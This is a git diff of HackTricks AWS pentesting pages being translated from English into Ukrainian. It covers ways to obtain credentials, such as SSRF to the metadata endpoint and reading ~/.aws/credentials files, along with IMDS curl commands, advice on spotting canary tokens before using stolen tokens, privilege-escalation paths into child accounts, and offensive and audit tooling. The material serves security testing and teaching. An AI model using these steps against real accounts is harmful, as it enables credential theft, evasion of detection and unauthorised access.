Team -In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected. +Для аудиту середовища AWS дуже важливо знати: які **послуги використовуються**, що **експонується**, хто має **доступ** до чого, і як внутрішні AWS послуги та **зовнішні послуги** з'єднані. -From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that: +З точки зору Red Team, **перший крок для компрометації середовища AWS** - це отримати деякі **облікові дані**. Ось кілька ідей, як це зробити: -- **Leaks** in github (or similar) - OSINT -- **Social** Engineering -- **Password** reuse (password leaks) -- Vulnerabilities in AWS-Hosted Applications - - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint - - **Local File Read** - - `/home/USERNAME/.aws/credentials` - - `C:\Users\USERNAME\.aws\credentials` -- 3rd parties **breached** -- **Internal** Employee -- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials +- **Витоки** в github (або подібних) - OSINT +- **Соціальна** інженерія +- Повторне використання **паролів** (витоки паролів) +- Вразливості в AWS-розміщених додатках +- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) з доступом до метаданих +- **Читання локальних файлів** +- `/home/USERNAME/.aws/credentials` +- `C:\Users\USERNAME\.aws\credentials` +- 3-ті сторони **зламані** +- **Внутрішній** співробітник +- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)облікові дані -Or by **compromising an unauthenticated service** exposed: +Або шляхом **компрометації неавтентифікованої служби**, що експонується: {{#ref}} aws-unauthenticated-enum-access/ {{#endref}} -Or if you are doing a **review** you could just **ask for credentials** with these roles: +Або, якщо ви проводите **огляд**, ви можете просто **попросити облікові дані** з цими ролями: {{#ref}} aws-permissions-for-a-pentest.md {{#endref}} > [!NOTE] -> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration: +> Після того, як ви змогли отримати облікові дані, вам потрібно знати, **кому належать ці облікові дані**, і **до чого вони мають доступ**, тому вам потрібно виконати деяку базову енумерацію: -## Basic Enumeration +## Базова енумерація ### SSRF -If you found a SSRF in a machine inside AWS check this page for tricks: +Якщо ви знайшли SSRF на машині всередині AWS, перевірте цю сторінку для трюків: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -72,8 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### Whoami -One of the first things you need to know is who you are (in where account you are in other info about the AWS env): - +Однією з перших речей, які вам потрібно знати, є те, хто ви (в якому обліковому записі ви знаходитесь та інша інформація про середовище AWS): ```bash # Easiest way, but might be monitored? aws sts get-caller-identity @@ -89,10 +88,9 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document ``` - > [!CAUTION] -> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\ -> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). +> Зверніть увагу, що компанії можуть використовувати **canary tokens** для виявлення, коли **токени крадуться та використовуються**. Рекомендується перевірити, чи є токен canary token, перш ніж його використовувати.\ +> Для отримання додаткової інформації [**перевірте цю сторінку**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). ### Org Enumeration @@ -102,30 +100,30 @@ aws-services/aws-organizations-enum.md ### IAM Enumeration -If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**. +Якщо у вас достатньо прав, **перевірка привілеїв кожної сутності всередині облікового запису AWS** допоможе вам зрозуміти, що ви та інші ідентичності можете робити і як **підвищити привілеї**. -If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\ -Check **how to do the numeration and brute-forcing** in: +Якщо у вас недостатньо прав для перерахунку IAM, ви можете **викрасти їх за допомогою брутфорсу**, щоб їх з'ясувати.\ +Перевірте **як виконати нумерацію та брутфорс** в: {{#ref}} aws-services/aws-iam-enum.md {{#endref}} > [!NOTE] -> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\ -> In the following section you can check some ways to **enumerate some common services.** +> Тепер, коли ви **маєте деяку інформацію про свої облікові дані** (і якщо ви червона команда, сподіваюся, ви **не були виявлені**). Час з'ясувати, які сервіси використовуються в середовищі.\ +> У наступному розділі ви можете перевірити деякі способи **перерахунку деяких загальних сервісів.** ## Services Enumeration, Post-Exploitation & Persistence -AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them: +AWS має вражаючу кількість сервісів, на наступній сторінці ви знайдете **основну інформацію, нумерацію** cheatsheets\*\*,\*\* як **уникнути виявлення**, отримати **постійність** та інші **післяексплуатаційні** трюки про деякі з них: {{#ref}} aws-services/ {{#endref}} -Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automated-tools). +Зверніть увагу, що вам **не потрібно** виконувати всю роботу **вручну**, нижче в цьому пості ви можете знайти **розділ про** [**автоматичні інструменти**](./#automated-tools). -Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them: +Більше того, на цьому етапі ви могли виявити **більше сервісів, доступних для неавтентифікованих користувачів,** ви можете мати можливість їх експлуатувати: {{#ref}} aws-unauthenticated-enum-access/ @@ -133,7 +131,7 @@ aws-unauthenticated-enum-access/ ## Privilege Escalation -If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in: +Якщо ви можете **перевірити принаймні свої власні права** на різні ресурси, ви могли б **перевірити, чи можете ви отримати додаткові права**. Вам слід зосередитися принаймні на правах, вказаних у: {{#ref}} aws-privilege-escalation/ @@ -141,10 +139,10 @@ aws-privilege-escalation/ ## Publicly Exposed Services -While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\ -As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**. +Під час перерахунку сервісів AWS ви могли знайти деякі з них, **які відкривають елементи в Інтернеті** (порти VM/контейнерів, бази даних або сервіси черг, знімки або кошики...).\ +Як pentester/red teamer ви завжди повинні перевіряти, чи можете ви знайти **чутливу інформацію / вразливості** на них, оскільки вони можуть надати вам **додатковий доступ до облікового запису AWS**. -In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in: +У цій книзі ви повинні знайти **інформацію** про те, як знайти **відкриті сервіси AWS та як їх перевірити**. Щодо того, як знайти **вразливості у відкритих мережевих сервісах**, я б рекомендував вам **шукати** конкретний **сервіс** в: {{#ref}} https://book.hacktricks.xyz/ @@ -154,52 +152,49 @@ https://book.hacktricks.xyz/ ### From the root/management account -When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account. +Коли обліковий запис управління створює нові облікові записи в організації, у новому обліковому записі створюється **нова роль**, за замовчуванням називана **`OrganizationAccountAccessRole`** і надає політику **AdministratorAccess** для **облікового запису управління** для доступу до нового облікового запису.
-So, in order to access as administrator a child account you need: +Отже, для доступу як адміністратора до дочірнього облікового запису вам потрібно: -- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin. - - To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts` - - You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**. -- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary). +- **Скомпрометувати** **управлінський** обліковий запис і знайти **ID** **дочірніх облікових записів** та **імена** **ролі** (за замовчуванням OrganizationAccountAccessRole), що дозволяє обліковому запису управління отримати доступ як адміністратор. +- Щоб знайти дочірні облікові записи, перейдіть до розділу організацій у консолі aws або виконайте `aws organizations list-accounts` +- Ви не можете знайти назву ролей безпосередньо, тому перевірте всі користувацькі політики IAM і шукайте будь-які, що дозволяють **`sts:AssumeRole` над раніше виявленими дочірніми обліковими записами**. +- **Скомпрометувати** **принципала** в управлінському обліковому записі з **дозволом `sts:AssumeRole` над роллю в дочірніх облікових записах** (навіть якщо обліковий запис дозволяє будь-кому з управлінського облікового запису видавати себе, оскільки це зовнішній обліковий запис, специфічні дозволи `sts:AssumeRole` є необхідними). ## Automated Tools ### Recon -- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby. - +- [**aws-recon**](https://github.com/darkbitio/aws-recon): Багатопотоковий інструмент для збору **інвентаризації**, орієнтований на безпеку AWS, написаний на Ruby. ```bash # Install gem install aws_recon # Recon and get json AWS_PROFILE= aws_recon \ - --services S3,EC2 \ - --regions global,us-east-1,us-east-2 \ - --verbose +--services S3,EC2 \ +--regions global,us-east-1,us-east-2 \ +--verbose ``` - -- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers. -- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues. - +- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist - це **інструмент для багатохмарного отримання активів** (імена хостів, IP-адреси) від постачальників хмар. +- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper допомагає вам аналізувати ваші середовища Amazon Web Services (AWS). Тепер він містить набагато більше функціональності, включаючи аудит на предмет проблем безпеки. ```bash # Installation steps in github # Create a config.json file with the aws info, like: { - "accounts": [ - { - "default": true, - "id": "", - "name": "dev" - } - ], - "cidrs": - { - "2.2.2.2/28": {"name": "NY Office"} - } +"accounts": [ +{ +"default": true, +"id": "", +"name": "dev" +} +], +"cidrs": +{ +"2.2.2.2/28": {"name": "NY Office"} +} } # Enumerate @@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev python cloudmapper.py prepare #Prepare webserver python cloudmapper.py webserver #Show webserver ``` - -- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database. - +- [**cartography**](https://github.com/lyft/cartography): Cartography - це інструмент на Python, який консолідує інфраструктурні активи та відносини між ними в інтуїтивно зрозумілому графічному вигляді, що працює на базі Neo4j. ```bash # Install pip install cartography @@ -240,17 +233,15 @@ pip install cartography # Get AWS info AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j ``` - -- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database. -- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account. -- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account. +- [**starbase**](https://github.com/JupiterOne/starbase): Starbase збирає активи та відносини з сервісів і систем, включаючи хмарну інфраструктуру, SaaS-додатки, засоби безпеки та інше в інтуїтивно зрозумілому графічному вигляді, підтримуваному базою даних Neo4j. +- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Використовує python2) Це інструмент, який намагається **виявити всі** [**ресурси AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource), створені в обліковому записі. +- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Це інструмент для **отримання всіх публічних IP-адрес** (як IPv4, так і IPv6), пов'язаних з обліковим записом AWS. ### Privesc & Exploiting -- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). -- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict. - - Note that pacu **only checks your own privescs paths** (not account wide). - +- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Виявляє найбільш привілейованих користувачів у сканованому середовищі AWS, включаючи AWS Shadow Admins. Він використовує PowerShell. Ви можете знайти **визначення привілейованих політик** у функції **`Check-PrivilegedPolicy`** в [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). +- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu - це відкритий **фреймворк експлуатації AWS**, призначений для тестування безпеки в наступальних цілях проти хмарних середовищ. Він може **перераховувати**, знаходити **неправильні конфігурації** та **експлуатувати** їх. Ви можете знайти **визначення привілейованих дозволів** в [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) всередині словника **`user_escalation_methods`**. +- Зверніть увагу, що pacu **перевіряє лише ваші власні шляхи підвищення привілеїв** (не в межах облікового запису). ```bash # Install ## Feel free to use venvs @@ -264,9 +255,7 @@ pacu > exec iam__enum_permissions # Get permissions > exec iam__privesc_scan # List privileged permissions ``` - -- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) - +- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) - це скрипт і бібліотека для виявлення ризиків у конфігурації AWS Identity and Access Management (IAM) для облікового запису AWS або організації AWS. Він моделює різних IAM користувачів і ролей в обліковому записі як орієнтований граф, що дозволяє перевіряти **підвищення привілеїв** та альтернативні шляхи, якими зловмисник може отримати доступ до ресурсу або дії в AWS. Ви можете перевірити **дозволи, використані для знаходження privesc** шляхів у файлах, що закінчуються на `_edges.py` в [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) ```bash # Install pip install principalmapper @@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins pmapper --profile dev orgs create pmapper --profile dev orgs display ``` - -- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\ - It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use). - +- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining - це інструмент оцінки безпеки AWS IAM, який виявляє порушення принципу найменших привілеїв і генерує звіт у форматі HTML з пріоритетом ризику.\ +Він покаже вам потенційно **переповнені привілеї** клієнта, вбудовані та aws **політики** та які **суб'єкти мають доступ до них**. (Він не тільки перевіряє на privesc, але й інші види цікавих дозволів, рекомендовано використовувати). ```bash # Install pip install cloudsplaining @@ -303,24 +290,20 @@ cloudsplaining download --profile dev # Analyze the IAM policies cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/ ``` +- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack оцінює облікові записи AWS на наявність **вразливостей перехоплення піддоменів** внаслідок розділених конфігурацій Route53 та CloudFront. +- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Список репозиторіїв ECR -> Витягти репозиторій ECR -> Задній доступ -> Відправити зворотне зображення +- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag - це інструмент, який **шукає** через публічні знімки Elastic Block Storage (**EBS**) на наявність секретів, які могли бути випадково залишені. -- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations. -- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image -- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in. - -### Audit - -- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins). +### Аудит +- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit від Aqua - це проект з відкритим кодом, призначений для виявлення **ризиків безпеки в облікових записах хмарної інфраструктури**, включаючи: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) та GitHub (не шукає ShadowAdmins). ```bash ./index.js --csv=file.csv --console=table --config ./config.js # Compiance options: --compliance {hipaa,cis,cis1,cis2,pci} ## use "cis" for cis level 1 and 2 ``` - -- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness. - +- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler - це інструмент з відкритим кодом для проведення оцінок найкращих практик безпеки AWS, аудитів, реагування на інциденти, безперервного моніторингу, зміцнення та готовності до судово-медичної експертизи. ```bash # Install python3, jq and git # Install @@ -331,15 +314,11 @@ prowler -v prowler prowler aws --profile custom-profile [-M csv json json-asff html] ``` - -- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure. - +- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox допомагає вам отримати ситуаційну обізнаність у незнайомих хмарних середовищах. Це інструмент командного рядка з відкритим вихідним кодом, створений для допомоги тестувальникам на проникнення та іншим фахівцям з наступальної безпеки у знаходженні експлуатованих шляхів атаки в хмарній інфраструктурі. ```bash cloudfox aws --profile [profile-name] all-checks ``` - -- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments. - +- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite - це інструмент для аудиту безпеки в мульти-хмарах з відкритим кодом, який дозволяє оцінювати безпекову позицію хмарних середовищ. ```bash # Install virtualenv -p python3 venv @@ -350,18 +329,16 @@ scout --help # Get info scout aws -p dev ``` +- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (використовує python2.7 і виглядає непідтримуваним) +- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus - потужний інструмент для найкращих практик зміцнення AWS EC2 / S3 / CloudTrail / CloudWatch / KMS (виглядає непідтримуваним). Він перевіряє лише стандартно налаштовані облікові дані в системі. -- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained) -- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system. +### Постійний аудит -### Constant Audit - -- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting. -- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions. -- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response. - -## DEBUG: Capture AWS cli requests +- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian - це механізм правил для управління обліковими записами та ресурсами публічного хмари. Він дозволяє користувачам **визначати політики для забезпечення добре керованої хмарної інфраструктури**, яка є як безпечною, так і оптимізованою за витратами. Він консолідує багато з тих випадкових скриптів, які мають організації, в легкий і гнучкий інструмент з єдиними метриками та звітністю. +- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** - це платформа для **безперервного моніторингу відповідності, звітності про відповідність та автоматизації безпеки для хмари**. У PacBot політики безпеки та відповідності реалізовані як код. Всі ресурси, виявлені PacBot, оцінюються відповідно до цих політик для оцінки відповідності політикам. Рамка **автоматичного виправлення** PacBot надає можливість автоматично реагувати на порушення політик, вживаючи попередньо визначені дії. +- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert - це безсерверна, **реальна** система аналізу даних, яка дозволяє вам **збирати, аналізувати та сповіщати** про дані з будь-якого середовища, **використовуючи джерела даних та логіку сповіщень, які ви визначаєте**. Команди комп'ютерної безпеки використовують StreamAlert для сканування терабайтів журналів щодня для виявлення інцидентів та реагування на них. +## DEBUG: Захоплення запитів AWS cli ```bash # Set proxy export HTTP_PROXY=http://localhost:8080 @@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem # Run aws cli normally trusting burp cert aws ... ``` - -## References +## Посилання - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 02e6e7729..9ccdf2f72 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -1,331 +1,319 @@ -# AWS - Basic Information +# AWS - Основна інформація {{#include ../../../banners/hacktricks-training.md}} -## Organization Hierarchy +## Ієрархія організації ![](<../../../images/image (151).png>) -### Accounts +### Облікові записи -In AWS there is a **root account,** which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them. +В AWS є **кореневий обліковий запис**, який є **батьківським контейнером для всіх облікових записів** вашої **організації**. Однак вам не потрібно використовувати цей обліковий запис для розгортання ресурсів, ви можете створити **інші облікові записи, щоб розділити різні AWS** інфраструктури між ними. -This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments. +Це дуже цікаво з точки зору **безпеки**, оскільки **один обліковий запис не зможе отримати доступ до ресурсів з іншого облікового запису** (якщо спеціально не створені мости), таким чином ви можете створити межі між розгортаннями. -Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts. +Отже, в організації є **два типи облікових записів** (ми говоримо про облікові записи AWS, а не про облікові записи користувачів): один обліковий запис, який призначений як обліковий запис управління, і один або кілька облікових записів учасників. -- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following: +- **Обліковий запис управління (кореневий обліковий запис)** - це обліковий запис, який ви використовуєте для створення організації. З облікового запису управління організації ви можете зробити наступне: - - Create accounts in the organization - - Invite other existing accounts to the organization - - Remove accounts from the organization - - Manage invitations - - Apply policies to entities (roots, OUs, or accounts) within the organization - - Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization. - - It's possible to login as the root user using the email and password used to create this root account/organization. +- Створити облікові записи в організації +- Запросити інші існуючі облікові записи в організацію +- Видалити облікові записи з організації +- Керувати запрошеннями +- Застосовувати політики до сутностей (корені, ОУ або облікові записи) в межах організації +- Увімкнути інтеграцію з підтримуваними AWS сервісами для надання функціональності сервісу для всіх облікових записів в організації. +- Можливо увійти як кореневий користувач, використовуючи електронну пошту та пароль, які використовувалися для створення цього кореневого облікового запису/організації. - The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account. - -- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account. - - Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it). +Обліковий запис управління має **обов'язки облікового запису платника** і відповідає за оплату всіх витрат, які накопичуються учасниками облікових записів. Ви не можете змінити обліковий запис управління організації. +- **Облікові записи учасників** складають всі інші облікові записи в організації. Обліковий запис може бути учасником лише однієї організації одночасно. Ви можете прикріпити політику до облікового запису, щоб застосувати контролі лише до цього одного облікового запису. +- Облікові записи учасників **повинні використовувати дійсну електронну адресу** і можуть мати **ім'я**, загалом вони не зможуть керувати виставленням рахунків (але їм можуть надати доступ до цього). ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` +### **Організаційні одиниці** -### **Organization Units** - -Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children. - +Облікові записи можна групувати в **Організаційні одиниці (OU)**. Таким чином, ви можете створювати **політики** для Організаційної одиниці, які будуть **застосовані до всіх дочірніх облікових записів**. Зверніть увагу, що OU може мати інші OU як дочірні. ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` - ### Service Control Policy (SCP) -A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**. +**Політика контролю послуг (SCP)** - це політика, яка визначає послуги та дії, які користувачі та ролі можуть використовувати в облікових записах, на які впливає SCP. SCP є **схожими на політики дозволів IAM**, за винятком того, що вони **не надають жодних дозволів**. Натомість SCP визначають **максимальні дозволи** для організації, організаційної одиниці (OU) або облікового запису. Коли ви прикріплюєте SCP до кореня вашої організації або OU, **SCP обмежує дозволи для суб'єктів у членських облікових записах**. -This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\ -The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked). +Це є ЄДИНИМ способом, яким **навіть кореневий користувач може бути зупинений** від виконання певних дій. Наприклад, його можна використовувати, щоб зупинити користувачів від вимкнення CloudTrail або видалення резервних копій.\ +Єдиний спосіб обійти це - також скомпрометувати **майстер-обліковий запис**, який налаштовує SCP (майстер-обліковий запис не може бути заблокований). > [!WARNING] -> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account. +> Зверніть увагу, що **SCP лише обмежують суб'єктів у обліковому записі**, тому інші облікові записи не підлягають впливу. Це означає, що наявність SCP, яка забороняє `s3:GetObject`, не зупинить людей від **доступу до публічного S3 бакету** у вашому обліковому записі. -SCP examples: +Приклади SCP: -- Deny the root account entirely -- Only allow specific regions -- Only allow white-listed services -- Deny GuardDuty, CloudTrail, and S3 Public Block Access from +- Повна заборона кореневого облікового запису +- Дозволити лише конкретні регіони +- Дозволити лише білий список послуг +- Заборонити GuardDuty, CloudTrail та S3 Public Block Access від - being disabled +вимкнення -- Deny security/incident response roles from being deleted or +- Заборонити ролі безпеки/реагування на інциденти від видалення або - modified. +модифікації. -- Deny backups from being deleted. -- Deny creating IAM users and access keys +- Заборонити видалення резервних копій. +- Заборонити створення користувачів IAM та ключів доступу -Find **JSON examples** in 